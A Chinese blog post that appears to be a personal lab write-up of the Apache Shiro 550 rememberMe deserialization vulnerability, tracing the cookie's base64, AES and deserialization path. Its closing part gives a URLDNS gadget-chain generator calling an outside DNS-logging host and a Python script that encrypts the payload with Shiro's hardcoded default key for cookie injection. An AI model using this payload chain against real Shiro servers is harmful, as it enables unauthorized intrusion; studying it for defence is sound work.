shiro 550漏洞分析

都2022年了不会还有人学习这么老的漏洞吧?没错就是我…………


准备阶段

      起shiro服务,在github上下载<=1.2.4版本,然后修改下pom.xml,修改下如下内容,搞完pom文件一堆爆红,但我点击发布实例选择samples-web后照样运行,没管爆红的地方。如果介意的话网上有完整pom文件可以照搬下

 <?xml version="1.0" encoding="UTF-8"?>
 <!--
   ~ Licensed to the Apache Software Foundation (ASF) under one
   ~ or more contributor license agreements.  See the NOTICE file
   ~ distributed with this work for additional information
   ~ regarding copyright ownership.  The ASF licenses this file
   ~ to you under the Apache License, Version 2.0 (the
   ~ "License"); you may not use this file except in compliance
   ~ with the License.  You may obtain a copy of the License at
   ~
   ~     http://www.apache.org/licenses/LICENSE-2.0
   ~
   ~ Unless required by applicable law or agreed to in writing,
   ~ software distributed under the License is distributed on an
   ~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
   ~ KIND, either express or implied.  See the License for the
   ~ specific language governing permissions and limitations
   ~ under the License.
   -->
 <!--suppress osmorcNonOsgiMavenDependency -->
 <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
     <properties><maven.compiler.source>1.6</maven.compiler.source><maven.compiler.target>1.6</maven.compiler.target></properties>
     <parent>
         <groupId>org.apache.shiro.samples</groupId>
         <artifactId>shiro-samples</artifactId>
         <version>1.2.4</version>
         <relativePath>../pom.xml</relativePath>
     </parent><modelVersion>4.0.0</modelVersion>
     <artifactId>samples-web</artifactId>
     <name>Apache Shiro :: Samples :: Web</name>
     <packaging>war</packaging><build>
         <plugins>
             <plugin>
                 <artifactId>maven-surefire-plugin</artifactId>
                 <configuration>
                     <forkMode>never</forkMode>
                 </configuration>
             </plugin>
             <plugin>
                 <groupId>org.mortbay.jetty</groupId>
                 <artifactId>maven-jetty-plugin</artifactId>
                 <version>${jetty.version}</version>
                 <configuration>
                     <contextPath>/</contextPath>
                     <connectors>
                         <connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
                             <port>9080</port>
                             <maxIdleTime>60000</maxIdleTime>
                         </connector>
                     </connectors>
                     <requestLog implementation="org.mortbay.jetty.NCSARequestLog">
                         <filename>./target/yyyy_mm_dd.request.log</filename>
                         <retainDays>90</retainDays>
                         <append>true</append>
                         <extended>false</extended>
                         <logTimeZone>GMT</logTimeZone>
                     </requestLog>
                 </configuration>
             </plugin>
         </plugins>
     </build><dependencies>
         <dependency>
             <groupId>javax.servlet</groupId>
             <artifactId>jstl</artifactId>
             <scope>runtime</scope>
         </dependency>
         <dependency>
             <groupId>javax.servlet</groupId>
             <artifactId>servlet-api</artifactId>
 <!--            <scope>provided</scope>-->
         </dependency>
         <dependency>
             <groupId>org.slf4j</groupId>
             <artifactId>slf4j-log4j12</artifactId>
             <scope>runtime</scope>
         </dependency>
         <dependency>
             <groupId>log4j</groupId>
             <artifactId>log4j</artifactId>
             <scope>runtime</scope>
         </dependency>
         <dependency>
             <groupId>net.sourceforge.htmlunit</groupId>
             <artifactId>htmlunit</artifactId>
             <version>2.6</version>
 <!--            <scope>test</scope>-->
         </dependency>
         <dependency>
             <groupId>org.apache.shiro</groupId>
             <artifactId>shiro-core</artifactId>
         </dependency>
         <dependency>
             <groupId>org.apache.shiro</groupId>
             <artifactId>shiro-web</artifactId>
         </dependency>
         <dependency>
             <groupId>org.mortbay.jetty</groupId>
             <artifactId>jetty</artifactId>
             <version>${jetty.version}</version>
             <scope>test</scope>
         </dependency>
         <dependency>
             <groupId>org.mortbay.jetty</groupId>
             <artifactId>jsp-2.1-jetty</artifactId>
             <version>${jetty.version}</version>
             <scope>test</scope>
         </dependency>
         <dependency>
             <groupId>org.slf4j</groupId>
             <artifactId>jcl-over-slf4j</artifactId>
             <scope>runtime</scope>
         </dependency>
         <dependency>
             <groupId>javax.servlet</groupId>
             <artifactId>jstl</artifactId>
             <!--  这里需要将jstl设置为1.2 -->
             <version>1.2</version>
             <scope>runtime</scope>
         </dependency>
         <dependency>
             <groupId>org.apache.commons</groupId>
             <artifactId>commons-collections4</artifactId>
             <version>4.0</version>
         </dependency>
     </dependencies>
 ​
 ​
 </project>

image-20220322151613347

image-20220322151708443

我们先访问登录并抓包,记得勾上remember选项

image-20220322151853567

image-20220322151932506

image-20220322151947012

看到请求的cookie部分内容很大,可以猜想这个cookie代表了什么,可以看看保存了什么信息,一般保存cookie都会用到反序列化。以后一定养成这个习惯。

搜索Cookie相关的类,其实就是CookieRememberMeManager

image-20220322153237606

我们通过名字看方法,注意到rememberSerializedIdentity和getRememberedSerializedIdentity方法,随便你分析哪一个,这里分析的是后者,解密的过程。



代码分析

image-20220322153748593

image-20220322153818208

通过配图知道最后进行base64解码。看看哪些调用了该方法。alt+f7查看调用查到getRememberedPrincipals方法

image-20220322154031506

subjectContext在经过getRememberedSerializedIdentity处理后返回bytes,bytes再经过convertBytesToPrincipals处理,其中的过程如下

image-20220322154403504

我们可以先看看反序列化部分是否能触发,跟进deserialize方法

image-20220322154611884

再跟进

image-20220322154623978

image-20220322154638744

image-20220322154709052

可以看到最终调用到了原生的readObject方法。

再来看看convertBytesToPrincipals中的解密方法decrypt

image-20220322155043660

cipherService.decrypt解密方法如下,其实就是aes

image-20220322155246222

因为aes解密方法是固定的,所以重点关注解密的key是什么


寻找key

image-20220322155406679

image-20220322155414171

可以看到是个常量,需要查找在哪被赋值的,alt+f7,看value write部分

image-20220322155510872

image-20220322155531167

继续查看setDecryptionCipherKey在哪被调用

image-20220322155559705

image-20220322155616878

image-20220322155626122

ok,最后找到了关键的key,这样理一下解密的过程

cookie获取 == > base64解码 ==》 aes解密 = ===》反序列化


最后尝试复现该漏洞

URLDNS链生成类

import java.io.*;
 import java.lang.reflect.Field;
 import java.net.URL;
 import java.util.HashMap;
 public class URLCC {
     public static void serialize(Object obj) throws IOException {
         ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D://ser.txt"));
         objectOutputStream.writeObject(obj);
         objectOutputStream.close();
     }
     public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
         //入口类
         HashMap<Object, Integer> hashMap = new HashMap<Object, Integer>();
         //调用链
         URL url = new URL("http://fyh5ci.logs.ink");
         //将hashCode更改为非-1的值,使其序列化的时候不会发起dns请求
         Class<? extends URL> aClass = url.getClass();
         Field hashCodeField = aClass.getDeclaredField("hashCode");
         hashCodeField.setAccessible(true);
         hashCodeField.set(url,1234);
         //执行类
         hashMap.put(url,123);
         //将hashCode改为-1,使其反序列化的时候能发起dns请求
         hashCodeField.set(url,-1);
         serialize(hashMap);
     }
 }

将上述序列化的内容进行加密,注意要先将keybase64解码

image-20220322181736218

 
import base64
 import uuid
 from Crypto.Cipher import AES
 ​
 def get_file_data(filename):
     with open(filename,'rb') as f:
         data = f.read()
     return datadef aes_enc(data):
     BS = AES.block_size
     pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
     key = "kPH+bIxk5D2deZiIxcaaaA=="
     mode = AES.MODE_CBC
     iv = uuid.uuid4().bytes
     encryptor = AES.new(base64.b64decode(key),mode,iv)
     ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
     return ciphertext
 ​
 if __name__ == '__main__':
     data = get_file_data("D:\ser.txt")
     print(aes_enc(data))

image-20220322181756581

将生成的payload带入到cookie中,主要要将JSESSIONID去掉,不然会优先读取JSESSIONID的信息,无法利用到我们payload

image-20220322182042179


总结

整个看下来利用链,主要还是要有敏感的发现能力,发现cookie处可能存在反序列化。

getRememberedSerializedIdentity 入口点== > base64解码 ==》 aes解密 = ===》反序列化

posted @ 2022-03-22 18:33  我要变超人  阅读(89)  评论(0编辑  收藏  举报